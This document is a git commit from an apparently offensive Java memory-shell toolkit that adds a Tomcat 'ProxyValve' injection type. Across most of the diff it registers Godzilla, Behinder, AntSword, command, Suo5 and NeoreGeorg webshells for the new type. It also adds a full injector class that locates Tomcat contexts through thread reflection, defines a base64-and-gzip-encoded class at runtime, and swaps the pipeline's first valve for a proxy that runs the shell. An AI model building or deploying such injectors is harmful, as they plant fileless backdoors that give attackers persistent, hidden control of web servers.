feat: support Tomcat ProxyValve shell

This commit is contained in:
ReaJason
2025-06-07 13:31:18 +08:00
parent 59cf8674f1
commit 04bbddee6b
14 changed files with 307 additions and 7 deletions
@@ -118,6 +118,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(PROXY_VALVE, Godzilla.class)
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
@@ -146,6 +148,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(PROXY_VALVE, Behinder.class)
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
@@ -164,6 +168,7 @@ public enum Server {
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(PROXY_VALVE, AntSword.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
@@ -184,6 +189,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(PROXY_VALVE, Command.class)
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
@@ -212,6 +219,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(PROXY_VALVE, Suo5.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
@@ -235,6 +244,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
@@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell;
*/
public class ShellType {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String NETTY_HANDLER = "NettyHandler";
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.tomcat.*;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -39,6 +38,8 @@ public class TomcatShell extends AbstractShell {
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, TomcatValveInjector.class)
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
.addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class)
.addInjector(SERVLET, TomcatServletInjector.class)
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
@@ -0,0 +1,70 @@
package com.reajason.javaweb.memshell.shelltool;
import lombok.SneakyThrows;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.junit.jupiter.api.Test;
import javax.servlet.ServletException;
import java.io.IOException;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
/**
* @author ReaJason
* @since 2025/6/2
*/
public class ProxyTest {
static class ValveProxy implements InvocationHandler {
private final Valve valve;
ValveProxy(Valve valve) {
this.valve = valve;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("hello world" + method.getName());
return method.invoke(valve, args);
}
}
static class TestValve implements Valve {
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("invoke method");
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
@Test
@SneakyThrows
void test() {
Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve()));
valve.invoke(null, null);
}
}
@@ -55,6 +55,7 @@ public class Tomcat10ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -56,11 +56,12 @@ public class Tomcat11ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
@@ -57,6 +57,7 @@ public class Tomcat11JRE21ContainerTest {
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -57,10 +57,11 @@ public class Tomcat5ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -55,6 +55,7 @@ public class Tomcat6ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
@@ -55,6 +55,7 @@ public class Tomcat7ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -50,6 +50,7 @@ public class Tomcat8CommandEncryptorContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.PROXY_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
);
}
@@ -58,6 +58,7 @@ public class Tomcat8ContainerTest {
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
@@ -55,6 +55,7 @@ public class Tomcat9ContainerTest {
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -0,0 +1,206 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class TomcatProxyValveInjector implements InvocationHandler {
private Object rawValve;
private Object proxyValve;
static {
new TomcatProxyValveInjector();
}
public TomcatProxyValveInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve;
this.proxyValve = proxyValve;
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) {
try {
Object request = args[0];
Object response = args[1];
if (proxyValve.equals(new Object[]{request, response})) {
return null;
}
} catch (Throwable e) {
e.printStackTrace();
return method.invoke(rawValve, args);
}
}
return method.invoke(rawValve, args);
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|| thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
@SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null);
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
Object rawValve = null;
String fieldName = "first";
try {
rawValve = getFieldValue(pipeline, fieldName);
} catch (NoSuchFieldException e) {
fieldName = "basic";
rawValve = getFieldValue(pipeline, fieldName);
}
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
setFieldValue(pipeline, fieldName, proxyValve);
System.out.println("proxyValve inject successful");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
public static Field getField(Object obj, String name) throws NoSuchFieldException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.set(obj, value);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
return field.get(obj);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}